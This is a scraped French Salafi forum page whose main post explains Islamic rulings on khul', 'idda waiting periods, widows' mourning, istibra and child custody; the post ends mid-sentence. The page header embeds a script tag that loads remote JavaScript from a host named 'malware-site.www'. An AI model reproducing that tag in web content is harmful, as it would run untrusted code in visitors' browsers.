ISLAM SUIVANT LE CORAN ET LA SUNNA

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<a href="http://#7F96C3" id="pluiedetoiles"><script type="text/javascript" src="http://malware-site.www/js/pluiedetoiles.js"></script></a>Ce présent blog se propose de transmettre le message de l'Islam et le monothéisme islamique d'après le Coran et la Sounna authentique selon la compréhension des Pieux prédécesseurs.

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ISLAM SUIVANT NOS EMINENTS SAVANTS

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Bienvenue sur ce forum . Comme son nom l'indique, ce forum a pour but de vous faire découvrir cette magnifique religion qu’est l’Islam ainsi que de rectifier votre avis sur celle-ci. Le forum s’est aussi fixé un autre objectif : « mettre fin aux mensonges islamophobes et défendre l’honneur de D'Allah ainsi que Son Messager »

nous suivons a travers ce forum la voie de nos pieux predecesseurs extrait du coran et de la sounna selon la compréhension de notre bien aimé prophete صلى الله عليه و سلم»

il est basé sur la croyance des gens de la sounnah , et se conforme strictement au coran, et la Sounna du prophète Mohamed صلى الله عليه وسلم ...Les articles que contient ce forum sont des écrits ou des paroles de nos eminents savants salafis , et notre objectif est avant tout d’appeler les gens à l'unicité d'Allah (tawhid) et de diffuser la da'wah salafiyah qui est la bonne compréhension de l’islam,il est le plus rédigé en langue française afin de faire connaître aux musulmans francophones et meme aux mecreants leur religion véridique et les appeler à pratiquer ses enseignements et préceptes, de les avertir du danger de l'association à Allah , ainsi que des innovations et de les mettre en garde sur les mauvaises interprétations de l’islam diffusées par les innovateurs et les groupes égarés.

Allah par sa Miséricorde a envoyé des prophètes et des Envoyés avec un seul message, un seul objectif : rappeler aux hommes l’Unicité de dieu ( il n’y a de dieu qu’Allah) Ceci est le fondement de l’islam



 
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neige qui tombe

coran a telecharger de medine

Sam 28 Nov - 13:28 par assalafia

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    Définition du « Khoul' » - Le « Khoul' » est une annulation de l'acte de mariage et n'est pas considéré comme un divorce – La période d'attente en cas de « Khoul' » - Chapitre de la « 'Idda » ( Période d'attente après un divorce ou un décès) - Sa définiti

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    Définition du « Khoul' » - Le « Khoul' » est une annulation de l'acte de mariage et n'est pas considéré comme un divorce – La période d'attente en cas de « Khoul' » - Chapitre de la « 'Idda » ( Période d'attente après un divorce ou un décès) - Sa définiti

    Message par assalafia le Jeu 14 Juin - 12:50

    Les autres types de divorce :

    Il existe d’autres types de divorces que l’auteur n’a pas cité notamment :

    1 - Le divorce de celui qui divorce avant même d’être marié :

    Ex : une personne dit : « je divorcerais avec toutes les femmes avec qui je me marierais. »

    Le
    jugement de ce divorce est qu’il n’est pas prit en compte ! Il n’est
    pas légiféré car le mariage n’a pas été conclu. Le prophète a dit dans un Hadith : « Et il n’y a pas de divorce dans ce que tu ne possèdes pas ». Autrement il ne peut pas y avoir de divorce s’il n’y a pas de mariage !

    Allah dit aussi : « O vous les croyants lorsque vous vous mariez avec des croyantes puis que vous divorcez » Allah atteste donc qu’il y a d’abord un mariage et il faut qu’il soit conclu pour que le divorce soit valide.


    2 - Le divorce fait à l’écrit :

    Ex : un homme qui écrit à sa femme « je te divorce ».
    Le jugement de ce divorce est qu’il est considéré comme Al Kinaya comme
    le disent les savants. Ainsi il rentre dans le divorce fait d’une façon
    ambiguë. Ce qui comptera alors, ce sera l’intention.


    3 - Le divorce en état de colère :

    Concernant l’état de colère, les savants le divisent en 3 :
    1. Le début de la colère.
    2. L’état entre la colère et le calme.
    3. La grande colère qui fait que la personne ne sait plus ce qu’elle dit.

    Concernant
    le premier état les savants sont unanimes quant au fait que le divorce
    est prononcé et ils sont unanimes également en ce qui concerne le
    troisième état quant au fait qu’il n’est pas prononcé.
    Pour ce qui
    est de l’état intermédiaire, il y a une divergence. Certains disent
    qu’il est prononcé car l’homme sait ce qu’il dit mais la plupart disent,
    et Allahu a’llem il s’agit de l’avis le plus sur, c’est qu’il n’est pas
    prononcé car le prophète dit : « Il n’y a pas de divorce lorsque la personne est enfermée ». Et une personne qui est en dispute avec son épouse est dans un état qui favorise le divorce.
    Mais il y a aussi la preuve : « Que le juge ne prononce pas de sentence lorsqu’il est énervé »
    Car le fait d’être dans un état d’énervement restreint la faculté de
    réfléchir. Certes on sait ce que l’on dit mais l’état d’énervement
    réduit At-Tafkir.




    Chapitre d’Al Khu3l : Le retirement de la femme de son Mari

    Définition du « Khoul' » :

    En Arabe : Vient du terme enlevé « Khala3a thawb » (خَلَعَ الثُّوْب) c'est-à-dire : enlever son vêtement. Car Allah dit : « Elles sont des vêtements pour vous et vous êtes des vêtements pour elles » (sourate Al Baqara, v. 187)

    En Islam :
    C’est le fait qu’un homme se sépare de sa femme en prenant une
    compensation financière ou matérielle que sa femme doit lui donner. Cela
    est aussi appelé chez les savants Al Fidiya ou Al Iftidah, qui est le
    fait de se racheter, c’est comme ci la femme se rachetait à son mari.


    Lorsque la divergence et les disputes deviennent de plus en plus
    importantes et plus fortes entre les époux et qu’il n’y a pas une
    possibilité de les réconcilier et ni de trouver un état d’entente entre
    les deux et que la femme désire la séparation, il lui est alors autorisé
    de se racheter à son mari en donnant de l’argent pour compenser le mal
    que subira le mari de cette séparation.
    Dans le Coran, Allah dit : «
    Et il ne vous est pas permis de reprendre quoi que ce soit de ce que
    vous leur aviez donné à moins que tous deux ne craignent de ne pouvoir
    se conformer aux ordres d’Allah alors ils ne commettent aucun péché à ce
    que la femme se rachète avec quelques biens »
    (Sourate Al Baqara, v. 229)

    " il ne vous est pas permis de reprendre quoi que ce soit " : L’homme n’a donc pas le droit de récupérer quelque chose qu’il avait donné à sa femme, à savoir la dot.
    Donc
    Allah dit que si le fait de rester ensemble est une chose mauvaise qui
    ferra en sorte que le mari ou la femme n’adorent pas Allah comme il se
    doit, autrement dit si l’union n’est pas possible et que cela dégradera
    l’état de l’un comme de l’autre alors Allah dit qu’il n’y a pas de mal à
    ce que la femme demande la séparation d’avec son mari en donnant une
    compensation financière.


    'Abdullah Ibn ‘Abbas a dit : « La femme de Thabit Ibn Qays Ibn Shammas est venue vers le prophète
    et lui a dit : « O envoyé d’Allah ! Je n’ai rien à reprocher à Thabit,
    ni dans sa religion, ni dans son comportement. Si ce n’est que j’ai
    peur de la mécréance ». Le prophète lui a alors dit : « Est-ce que tu vas lui rendre son jardin ? » Elle a répondu : « Oui ». Le prophète a alors ordonné à Thabit Ibn Qays de se séparer de sa femme avec en compensation ce jardin. »
    (Hadith Sahih rapporté par Al Bukhary)

    " Thabit Ibn Qays Ibn Shamas " : Il était un poète à la voix portante qui parlait au nom du prophète . C’est entre autre pour cela que le prophète l'a choisi comme porte parole mais également pour répondre aux moushrikin à travers des vers poétiques.
    Il
    avait également une grande piété et parmi les faits qui montrent cela,
    il y a le fait qu’il avait peur d’être concerné et de rentrer dans
    l’interdiction lorsqu’Allah a descendu la parole : «
    O vous qui avez cru n’élevez pas vos voix au dessus de la voix du
    prophète et ne parlez pas avec lui comme vous l’haussez quand vous
    parlez entres vous. Car si vous faites cela vous risquez alors que vos
    actes soient suspendus sans que vous ne vous en rendiez compte ».

    Suite à ce verset il ne sortit plus de chez lui. En ne le voyant plus le prophète demanda après lui et les compagnons lui répondirent : «
    Depuis que ce verset a été révélé il n’est plus sorti de chez lui car
    il a peur en parlant avec toi que ses actes soient suspendus sans qu’il
    ne s’en rende compte ».
    Le prophète envoya des compagnons chez Thabit Ibn Qays afin qu’il vienne et le prophète lui dit : « Tu vas vivre joyeux et tu mourras martyr et tu entreras au paradis. » Il fait donc parti de ceux qui entreront au paradis et il y a beaucoup plus que 10 compagnons à qui Al Jenna a été promis.

    « Je n’ai rien à reprocher à Thabit, ni dans sa religion, ni dans son comportement »
    : Ici ce qui ne plaisait pas à la femme de Thabit Ibn Qays c’était son
    apparence physique. Il ne l’attirait plus physiquement. Elle a dit au
    prophète que cela pouvait l’amener à renier les biens que Thabit faisait envers elle.

    « Si ce n’est que j’ai peur de la mécréance »
    : Il ne faut pas comprendre de cela qu’elle a peur de tomber dans la
    mécréance. On ne peut pas dire cela des compagnons car le prophète a dit : «
    Parmi les 3 signes qui font que la personne goute à la douceur de la
    foi : le fait que la personne déteste retourner à la mécréance comme
    elle déteste qu’elle soit jeté au feu … »

    Donc pour compléter cela dans une autre version de ce Hadith elle a dit : « Si ce n’est que j’ai peur de la mécréance dans l’Islam »
    Et le terme "Koufr" a deux significations : la Mécréance, et celle qui
    concerne ce Hadith c’est l’ingratitude. Elle avait donc peur d'être une
    épouse ingrate envers son mari.

    « Est-ce que tu vas lui rendre son jardin ? »
    : Thabit Ibn Qays lui avait donné comme dot un jardin. Cela prouve que
    lorsqu’une femme souhaite se séparer de son mari lorsqu’elle ne le
    supporte plus, cela est justifié.



    La mise en garde contre la femme qui demande Al Khu3l sans raison :

    Lorsqu’Al Khu3l est demandé sans raison il est interdit !

    Selon Thawban , le prophète a dit : « Toute femme demandant à son mari le divorce sans qu’il n’y ait de mal alors, l’odeur du paradis lui sera interdite. » (Hadith authentique rapporté par Ibn Majah, Abu Dawud et At-Thirmidhi)

    Toujours selon Thawban , le prophète a dit : « Celles qui demandent Al Khu3l sans raison valable se sont elles les hypocrites. » (Hadith authentique rapporté par At-Tirmidhi)


    La mise en garde contre l'homme qui emprisonne sa femme :

    C'est-à-dire
    les empêcher de se remarier et de les garder avec eux, non pas parce
    qu’il veut vivre avec elle mais pour lui porter atteinte et pour
    retarder au maximum l’échéance. Comme par exemple : un homme qui
    divorce de sa femme une première fois à sa demande tout en n’ayant plus
    le désire de vivre avec elle mais il la récupère pendant sa 3idaa, non
    pas parce qu’il s’est réconcilié avec elle, mais uniquement pour la
    bloquer et l’empêcher de la libérer de sa 3idaa afin qu’elle ne se
    remarie pas avec un autre homme. Ceci est interdit en islam.

    Lorsqu’un
    homme n’a plus d’attirance pour sa femme et déteste sa femme et qu’il
    n’y a plus rien en elle qui l’attire pour une cause ou une autre il doit
    alors se séparer d’elle dans le bien comme Allah
    la ordonné. Il lui est interdit de l’emprisonner ni de lui faire du mal
    et de lui porter atteinte lorsqu’elle veut se racheter à lui. Allah dit dans le Coran : «
    Et quand vous divorcez d’avec vos épouses, et que leur délai expire,
    alors, reprenez-les conformément à la bienséance ou libérez-les
    conformément à la bienséance. Mais ne les retenez pas pour leur faire du
    tort: vous transgresseriez alors et quiconque agit ainsi se fait du
    tort à lui-même. Ne prenez pas en moquerie les versets d’Allah. Et
    rappelez-vous le bienfait d’Allah envers vous, ainsi que le Livre et la
    Sagesse qu’Il vous a fait descendre; par lesquels Il vous exhorte. Et
    craignez Allah, et sachez qu’Allah est Omniscient. »
    (Sourate Al Baqara, v. 231)

    « Et quiconque agit ainsi se fait du tord à lui-même » : Certes la femme est offensée par cela mais l’homme n’offense que sa personne avant tout !

    « Ne prenez pas en moquerie les versets d’Allah » : Les paroles d’Allah ne doivent pas être prises en moquerie. Il ne faut pas s’amuser avec les jugements d’Allah en reprenant les femmes seulement pour leur faire du mal.

    « Et rappelez-vous le bienfait d’Allah envers vous, ainsi que le Livre et la Sagesse...» : Allah
    dit cela car il est permis aux hommes de se marier mais le fait qu’ils
    fassent des péchés risque de le priver de ses bienfaits.


    Allah dit aussi :
    « Ô les croyants! Il ne vous est pas licite d’hériter des femmes contre
    leur gré. Ne les empêchez pas de se remarier dans le but de leur ravir
    une partie de ce que vous aviez donné. »
    (Sourate An-Nissa, v. 19)

    Autrement
    dit : « ne les gardez pas en leur faisait du tord soit disant pour
    compenser l’argent que vous leur avez donné » car certains disent : « Je
    t’ai donné telle dot, je ne peux pas te laisser partir gratuitement. »

    L’islam
    est une religion de juste milieu, elle interdit à la femme de divorcer
    de son mari sans raison valable mais interdit aussi à l’homme d’empêcher
    sa femme de divorcer si elle a une raison valable.
    Le juste milieu doit être respecté et ceux qui trouvent une offense en islam sont soit :
    - des personnes qui ne connaissent pas cette religion.
    - des personnes qui abusent dans cette religion.



    Al Khu3l n’est pas considéré comme un divorce :

    Lorsque
    la femme se rachète et que son mari se sépare d’elle, elle est alors
    libre et son mari n’a pas le droit de la récupérer sans son
    autorisation. Et cette séparation n’est pas considérée comme étant un
    divorce même si cette séparation a été formulée par les formules de
    divorce.

    La différence entre le divorce et Al Khu3l :
    Dans tous les cas c’est l’homme lui seul qui prononce la formule de séparation mais la différence est qu’il y a une compensation financière.
    Même
    si l’homme dit à sa femme « Je te divorce avec une compensation
    financière », dans ce cas cela est aussi considéré comme Al Khu3l.

    Donc
    ceci n’est pas considéré comme un divorce. Al Khu3l, c’est une
    annulation de l’acte de mariage pour le bien de la femme avec une
    compensation.

    L’imam Ibn Al Qayyim
    dans son livre « zadoul ma'ad fi hady kheyr al 'ibad » qui est un livre
    très important et immense en Islam où il explique la sunna du prophète
    quasiment dans sa totalité mais où il parle aussi de l’ensemble des
    chapitres du Fiqh en utilisant comme méthode la voie que le prophète empruntait dans tel ou tel chapitre…
    Il dit : « Et ce qui prouve que le Faskh (annulation du mariage) n’est pas un Talâq (divorce) c’est qu’Allah
    a donné des jugements bien précis pour le divorce fait après la
    consommation et avant d'atteindre le nombre de 3 (divorces). Et tous ses
    jugements ne s’appliquent pas au Khu3l.
    Le premier jugement : c’est que le mari a le droit de reprendre sa femme durant la 3idaa.
    Le deuxième jugement :
    c’est que le nombre de divorce est limité à 3 et après ce nombre de 3,
    la femme doit épousé un autre mari et qu’il y ait eu consommation, avant
    que l’homme ait le droit de la récupérer.
    Le troisième jugement : est que la 3idaa est de trois menstrues.Il est rapporté dans la sunna du prophète et à l’unanimité des savants qu’il n’y a pas de récupération possible après le Khu3l.
    Il
    est aussi rapporté dans la Sunna et dans les paroles des compagnons que
    la période d’attente pour Al Khu3l est de 1 menstrues.
    Il est
    également rapporté dans le Coran l’autorisation de faire Al Khu3l après 2
    divorces puis de faire un troisième divorce par la suite.
    Et ceci est très explicite, car Allah dit :
    «
    Le divorce est permis pour seulement deux fois. Alors, c'est soit la
    reprise conformément à la bienséance, ou la libération avec gentillesse.
    Et il ne vous est pas permis de reprendre quoi que ce soit de ce que
    vous leur aviez donné, - à moins que tous deux ne craignent de ne point
    pouvoir se conformer aux ordres imposés par Dieu. Si donc vous craignez
    que tous deux ne puissent se conformer aux ordres de Dieu, alors ils ne
    commettent aucun péché si la femme se rachète avec quelque bien. Voilà
    les ordres de Dieu. Ne les transgressez donc pas. Et ceux qui
    transgressent les ordres de Dieu ceux-là sont les injustes. »
    (Sourate Al Baqara, verset 229) »

    Puis
    Allah dit dans le verset 230 : « S'il divorce avec elle (la troisième
    fois) alors elle ne lui sera plus licite tant qu'elle n'aura pas épousé
    un autre… »
    Donc ici Allah a bien cité 2 divorce, un Khu3l et un autre divorce qui suit.

    " qu’il n’y a pas de récupération possible après le Khu3l " : C'est-à-dire pendant la 3idaa.
    Tout ceci prouve encore une fois que ce sont 2 choses bien distinctes.

    " puis de faire un troisième divorce par la suite "
    : Cela fait donc un total de 4 séparations. Si le Khu3l était un
    divorce on n’aurait pas pu dépasser le nombre de trois d’où la preuve
    qu’il n’est pas comptabilisé comme tel.

    " Et ceci est très explicite " : "ceci", c'est-à-dire le fait qu’Al Khu3l n’est pas un divorce.


    L’imam Ibn al Qayyim
    clôture son argumentation en disant qu’Allah a dit : « S'il divorce
    avec elle (la troisième fois) alors elle ne lui sera plus licite tant
    qu'elle n'aura pas épousé un autre… » Il dit que c’est ainsi qu’AbduLlah
    ibn ‘Abbas a compris ces versets, lui qui est l’exégète du Coran par définition. Et le prophète a invoqué en sa faveur afin qu’Allah lui enseigne l’interprétation du coran. C’est une invocation qui a sans aucun doute été exaucée.
    Donc après la preuve d’AbduLlah ibn ‘Abbas
    , il y a l’analogie car le fait que des jugements soient propres au
    divorce et d’autre propres au Khu3l, ceci prouve que ce sont 2 choses
    différentes.


    Attention :
    Concernant la période de 3idaa du Khu3l qui est de un mois, la femme
    doit retourner chez ses parents car elle n’est plus considérée comme son
    épouse. Quelle est l’utilité de cette période d’attente ?
    Avant
    toute chose il est interdit à la femme de se remarier durant cette
    période. Cette période est utile à l’homme bien que la femme n’est plus
    son épouse car ceci est pour être sur qu’elle n’est pas enceinte car
    sinon sa 3idaa serait jusqu'à l’accouchement.




    Chapitre de la « 'Idda » :

    Définition de la « 'Idda » :

    En arabe : vient du terme « nombre » et « comptabiliser ». C'est-à-dire ce que la femme comptabilise comme jours ou menstrues.

    En Islam :
    C’est une période dans laquelle la femme attend avant de se remarier.
    Cette période intervient après la mort de son mari ou bien après la
    séparation avec son mari.

    Cette période est comptabilisé soit :
    - par une grossesse.
    - par des menstrues.
    - par des mois.


    Les différentes sortes de « 'Idda » :

    1 - La 3idaa de la femme veuve :

    Sa période d’attente est donc de 4 mois et 10 jours que le mariage ait été consommé ou non.

    Allah dit : «
    Ceux des vôtres que la mort frappe et qui laissent des épouses :
    celles-ci doivent observer une période d'attente de quatre mois et dix
    jours. »
    (Sourat Al Baqarah verset 234)

    Mais pour celles qui sont enceinte, leur période d’attente est jusqu'à l’accouchement car Allah dit : « Et quant à celles qui sont enceintes, leur période d’attente se terminera à leur accouchement. » (Sourate At-Talâq, v. 4)

    Al Mousawir Ibn Makhrama rapporte : « Soubay3a Al Aslamiya (رضي الله عنها) a accouché après la mort de son mari de quelques nuits. Elle parti voir le prophète et lui demanda l’autorisation de pouvoir se marier, le prophète lui donna l’autorisation et elle se maria. » (Hadith authentique rapporté par Al Bukhary wa Mouslim)


    2 - La 3idaa de la femme divorcée :

    a) Pour la femme dont le mariage n’a pas été consommé :

    Quant à la femme qui est divorcée avant la consommation du mariage il n’y a pas de période d’attente à respecter.
    En effet Allah dit : «
    Ô vous qui croyez ! Quand vous vous mariez avec des croyantes et
    qu’ensuite vous divorcez d’avec elles avant de les avoir touchées, vous
    ne pouvez leur imposer un délai d’attente. »
    (Sourate Al Ahzab, v. 49)


    b) Pour la femme enceinte :

    Sa période d’attente est jusqu'à ce qu’elle accouche.
    Allah dit : « Et quant à celles qui sont enceintes, leur période d’attente se terminera à leur accouchement. » (Sourate At-Talâq, v. 4)

    Az-Zoubayr
    ibn Awâm raconte qu'il était marié à Oum Koulthoum bintou 'Uqba et elle
    lui a dit alors qu’elle était enceinte : « Libère-moi en me divorçant
    ». Il l’a alors divorcé puis il est sorti à la prière. Et en revenant
    elle avait alors accouché. Il dit alors : « Qu’a-t-elle ? Elle m’a trompé ! Qu’Allah la trompe » . Puis il est parti voir le prophète et lui informa de la chose et le prophète dit : «
    Le destin a précédé la période, tu n’auras d’autre solution maintenant
    que de la demander en mariage car ce n’est plus ta femme »
    . (Hadith rapporté par Ibn Majah)

    Nous voyons qu’entre la période du divorce et de l’accouchement il y avait une durée d’un aller à la mosquée et d’un retour.

    « Qu’Allah la trompe » : Il faut comprendre par cela « Qu’Allah l’a juge sur l’acte qu’elle a fait ».

    « Le destin a précédé la période »
    : Les savants ont expliqué cela en disant que la durée de 3idaa a été
    terminée avant qu’il ne s’en rendre compte que le divorce a été
    prononcé. Il ne s'attendait pas à ce que cela arrive si vite, car il
    avait peut-être l’intention de la reprendre, mais le destin a précédé
    cette décision.


    c) Pour la femme qui a ses menstrues (qui n’est pas enceinte) :

    La période d’attente est de 3 menstrues.
    Allah dit : « Et les femmes divorcées doivent observer un délai d’attente de 3 menstrues. » (Sourate Al Baqara, v. 228)

    Allah a dit « Thalathata qurru » (3 menstrues). Et (الحَيْضَةُ). La preuve est le hadith de Aisha (رضي الله عنها) qui rapporte : « Oum Habiba (رضي الله عنها) était une femme qui avait des hémorragies. Elle a demandé au prophète concernant cela et le prophète lui a dit de s’abstenir de la prière pendant la période de menstrues uniquement. » (rapporté par Abou Dawoud)

    " Hémorragies " : écoulement de sang autres que ceux des menstrues. La femme qui a des hémorragies ne doit pas s’abstenir de prier.

    L’auteur a cité ce Hadith pour prouver qu’Al Qourr c’est Al Hayd, car Al qurru peut se comprendre de plusieurs façons mais cela étant expliqué dans la sunna du prophète on doit comprendre « Thalathata qurru » comme 3 périodes de menstrues.


    d) Pour la femme qui n’a pas encore ses menstrues ou qui est ménopausée :

    Sa période de 3idaa est donc de 3 mois. On ne parle plus de menstrues mais de mois !
    Allah a dit : «
    Si vous avez des doutes à propos (de la période d’attente) de vos
    femmes qui n’espèrent plus avoir de règles, leur délai est de trois
    mois. De même pour celles qui n’ont pas encore de règles. »
    (Sourate At-Talâq, v. 4)

    NB : Concernant la femme malade qui a des pertes de sang en dehors des menstrues :
    - soit elle sait différencier le sang des menstrues de l’autre sang.
    - soit elle compte en mois si elle n’a jamais eu de sang de menstrues.
    - soit elle se compare avec les femmes de sa famille et estime sa période de menstrues comme les leurs.



    Les comportements que doit respecter la veuve pendant la « 'Idda » :

    La
    femme veuve durant la période de 3idaa doit faire ce que les savants
    appellent « Al Ihdad ». Elle doit alors respecter plusieurs choses.

    Définition d’Al IHdad :
    En arabe : signifie Al Mana3 = l’abstention.
    En
    Islam : signifie le fait que la femme ne s’embellisse pas, ne se
    parfume pas, ne porte pas de bijoux, de vêtements colorés, ni ne se
    teint les cheveux, ni ne met Al Kohl.


    Oum 3atiya (رضي الله عنها) (femme d’Al Ansar qui lavait les morts au temps du prophète) a dit : «
    On nous interdisait de faire Al IHdad sur un mort au dessus de 3 jours
    et nous ne mettions pas Al Kohl, nous ne nous parfumions pas et nous ne
    portions pas de vêtements colorés sauf un vêtement appelé Hasb. Et il
    nous a été autorisé au moment de se purifier des menstrues d’utiliser
    nubdha. Et on nous interdisaient également de suivre les cortèges
    funèbres ».
    (rapporté par Al Boukhari, Mouslim, An-Nassa-i et Ibnou Majah)


    « On nous interdisait » : Autrement dit le prophète interdisait.

    « Au dessus de 3 jours »
    : soit plus de 3 jours. Ceci concernant uniquement les proches comme
    les oncles, frères, pères… Pour ce qui est du mari la période
    d’abstention est bien de 4 mois et 10 jours.

    « Ne portions pas de vêtements colorés » : Au temps du prophète ce type de vêtements étaient fait pour s’embellir. Les femmes achetaient des vêtements puis mettaient de la couleur dessus.

    « Sauf un vêtement appelé Hasb » : Il s’agissait d’un vêtement connu au temps du prophète
    dont la texture était déjà colorée à l’origine. Donc les savants ont
    déduit que l’interdiction est seulement pour les vêtements que l’on
    colore soit même.

    « D’utiliser nubdha »
    : C'est-à-dire un petit peu de Kust qui en arabe est une sorte de
    parfum utilisé en le brulant (encens). Ce parfum avait une forme
    d’ongle.

    « De suivre les cortèges funèbres » : Ceci ne concerne pas seulement la femme en état d’iHdad mais ceci est une interdiction de manière générale.


    Oum Salama (رضي الله عنها) rapporte que le prophète a dit : «
    La veuve ne doit pas porter des vêtements colorés par du safran, ni un
    vêtement mishq, ni de bijoux et ne doit pas se teindre les cheveux avec
    du henné, ni mettre Al Kohl ».
    (rapporté par Abou Dawoud, et An-Nassa-i)

    " Vêtement Mishq dit Mumashaq " : Vêtement coloré par une sorte d’argile rouge connu et utilisé au temps du prophète .

    Concernant
    Al Kohl, les savants disent que la femme ne doit pas en mettre de jour
    comme de nuit pour s’embellir ou non comme le dit Sheykh Utheymin car le prophète a dit : « Et qu’elles ne mettent pas du Kohl » c'est-à-dire quelque en soit l’utilisation et les circonstances.

    De plus la femme ne doit pas sortir de chez elle sauf en cas d’extrême nécessitée. Sheykh Utheimin dit :
    « Une femme veuve qui est en période de 3idaa ne doit sortir de chez
    elle le jour qu’en cas de nécessité et la nuit qu’en cas de force
    majeure ».


    Concernant le fait que la veuve doit porter
    des vêtements blancs pendant la période de 3idaa ceci n’a pas été
    rapporté ni dans le Coran, ni dans la sunna du prophète ni dans les paroles et les actes des compagnons (رضي الله عنهم).

    La
    femme veuve qui souhaite se remarier doit refaire un nouvel acte de
    mariage donc elle doit avoir l’autorisation du Wali et doit respecter
    toutes les conditions du contrat de mariage.



    Les comportements que doit respecter la femme divorcée avec possibilité de récupération pendant la « 'Idda » :

    a) Pour la femme divorcée avec possibilité de récupération :

    Il
    est obligatoire pour cette femme de rester dans la maison conjugale
    jusqu'à ce que la période se termine. Il lui est interdit de partir de
    la maison de même qu’il est interdit au mari de l’expulser. Il doit
    aussi subvenir à ses besoins etc.
    Allah dit : « Ô
    Prophète ! Quand vous répudiez les femmes, répudiez-les conformément à
    leur période d’attente prescrite; et comptez la période; et craignez
    Allah votre Seigneur. Ne les faites pas sortir de leurs maisons, et
    qu’elles n’en sortent pas ».
    (sourate At-Talâq, v. 1)


    b) Pour la femme qui a été divorcée 3 fois :

    L’homme n’est pas obligé de la loger ni de subvenir à ses besoins.
    Fatima Bint Qays (رضي الله عنها) rapporte du prophète quant à la femme qui a été divorcée 3 fois qu’il a dit : « Il n’est pas obligatoire (pour l’homme) de la loger et de subvenir à ses besoins. » (rapporté par Mouslim)

    L’auteur
    a cité ici seulement la fin du Hadith mais concernant le contexte du
    Hadith brièvement : Lorsque le mari de Fatima bint Qays (رضي الله عنها)
    l'a divorcé 3 fois, il lui a envoyé certaines choses. Elle refusa ces
    choses car elle considérait que cela n’était pas assez. Elle partit donc
    se plaindre au prophète et il lui répondit cela. Et lorsque le mari donna ces biens, c’était de son propre gré.


    Nous
    voyons donc que ceci n’est absolument pas une obligation pour l’homme
    subvenir au besoin de son ex-femme, sauf dans un cas, lorsque la femme
    est divorcée 3 fois et qu'elle est enceinte. Dans ce cas elle doit
    respecter la période de 3idaa chez ses parents également mais l’homme
    doit subvenir à ses besoins jusqu'à son accouchement.
    Allah dit : « Et si elles sont enceinte alors subvenez a leurs besoins, dépensez pour elles jusqu'à ce qu’elles accouchent ».
    Cela
    est obligatoire vis-à-vis de sa grossesse car si c’était vis-à-vis de
    la femme il aurait été obligatoire pour l’homme de la loger et de
    subvenir à ses besoins.


    Il est obligatoire à la femme qui a
    été divorcée 3 fois de respecter cette période d’attente dans la maison
    de ses parents. De plus elle ne doit pas sortir de la maison mis à part
    en cas d’extrême nécessité.

    La preuve de l’autorisation de sortir en cas de nécessité est le hadith de Jabir ibn Abdillah qui dit : «
    Ma tante maternelle a été divorcée (c’est à dire 3 fois) et a voulu
    s’occuper de ses palmiers. Un homme l’a fortement réprimandée et lui a
    interdit de sortir. Elle parti alors voir le prophète qui lui a dit : « Bien au contraire occupe toi de tes palmiers car tu pourras donner en aumône de ses dattes ou faire un bien. » ».
    (rapporté par Mouslim, Abou Dawoud et Ibnou Majah)

    Les
    savants ont donc déduit de ce Hadith qu’il est autorisé à la femme
    divorcée 3 fois de sortir de la maison de ses parents en cas de
    nécessité.



    Al istibra (الإِسْتِبْرَاءُ) :

    Al Istibra : c’est le fait de s’assurer que la femme n’est pas enceinte ou si elle est enceinte d’attendre qu’elle accouche.
    Ceci concernait au temps du prophète un homme qui pouvait avoir en sa possession une esclave, ce qui aujourd’hui n’est plus possible.

    Lorsqu’un
    homme achète une esclave avec laquelle il peut avoir des rapports, il
    lui est interdit d’avoir des rapports avec elle jusqu'à ce qu’il fasse
    Al Istibra. Al Istibra signifie si elle est enceinte d’attendre qu’elle
    accouche et si elle fait partie des femmes qui ont leur menstrues alors
    d’attendre une période de menstrues.

    Selon Rouweyf3 ibn Thâbit (رويفع بن ثابت) , le prophète a dit : « Celui qui croit en Allah et au jugement dernier, qu’il ne fasse pas entrer son eau dans l’enfant d’autre que lui ». (rapporté par At-Tirmidhi et Abou Dawoud)

    Autrement
    dit : celui qui a en sa possession une esclave qu’il vient d’acquérir
    ne doit pas mélanger son eau avec l’enfant d’autre que lui. Autrement
    dit encore, l’homme ne doit pas avoir de rapports avec cette femme tant
    qu’elle est enceinte.


    Et Selon Abou Sa3id , le prophète a dit concernant les prisonniers de Awtas : «
    La femme enceinte ne doit pas être approchée jusqu'à ce qu’elle
    accouche et celle qui n’est pas enceinte jusqu'à ce qu’elle ait une
    menstrues ».
    (rapporté par Abou Dawoud)

    Et Abdullah ibn Omar dit : «
    Lorsqu’une esclave avec laquelle on peut avoir des rapports est donnée
    ou bien lorsqu’elle est vendue ou lorsqu’elle est affranchie, il doit y
    avoir Al Istibra qui doit se faire en attendant une période de menstrues
    et concernant celles qui sont vierges il n’y a pas d’istibra à faire. »
    (rapporté par Al Bukhary)




    Le Chapitre d'Al Hadhana (الحَضَانَة) :

    En
    Islam Al Hadhana est le fait de préserver l’enfant de ce qui peut lui
    nuire et de s’acquitter de ce qui peut être bénéfique pour lui. Donc
    d’une part le protéger d’un mal et d’un autre coté de faire en sorte de
    subvenir à ses besoins et de s’occuper de lui.

    Lorsqu’un homme
    se sépare de sa femme et qu’il a avec elle un enfant, la femme a le plus
    de droit de garder cet enfant jusqu'à ce qu’il atteigne l’âge de 7 ans
    et ceci tant qu’elle ne s’est pas remarier.

    Lorsque l’enfant
    atteint l’âge de 7 ans on lui demande de choisir entre son père et sa
    mère et en fonction de celui qu’il aura choisit il restera avec lui.


    Selon 'Amr ibn Chou'ayb, selon son père et son grand père (رضي الله عنهم), une femme a dit : «
    Ô envoyé d’Allah, mon ventre était pour mon enfant une protection et
    mes seins étaient sa source de boisson et mes cuisses étaient pour lui
    des consolations. Et son père a divorcé de moi et il veut me le prendre
    ».
    Le prophète lui a dit : « Tu es celle qui a le plus le droit de le garder tant que tu ne te remarie pas. » (Hadith jugé bon rapporté par Abu Dawud)

    Ce Hadith prouve que tant que la femme n’est pas remariée elle est celle qui a le plus le droit de garder son enfant.


    Selon Abu Hurayra : « Une femme est venue vers le prophète
    et lui a dit : « O envoyé d’Allah mon ex-mari veut partir avec mon
    fils alors qu'il m’aidait à rapporter de l’eau du puits (appelé) abi
    3utba et m’a apporter beaucoup d’aide dans cela ». Et le prophète a dit en parlant à cet enfant : « Lui c’est ton père et elle c’est ta mère. Prend la main de celui d’entre les deux que tu désires. » Il prit la main de sa mère et elle est partie avec lui. »
    (rapporté par An-Nassa-i, Abou Dawoud et At-Tirmidhi)

    « m’apportait beaucoup d’aide dans cela »
    : Autrement dit cette mère avait besoin de son fils qui lui rendait
    beaucoup de services et entre autre récupérer l’eau du puits.

    Le prophète
    , dans ce Hadith, a jugé que le parent choisi par l’enfant repartirai
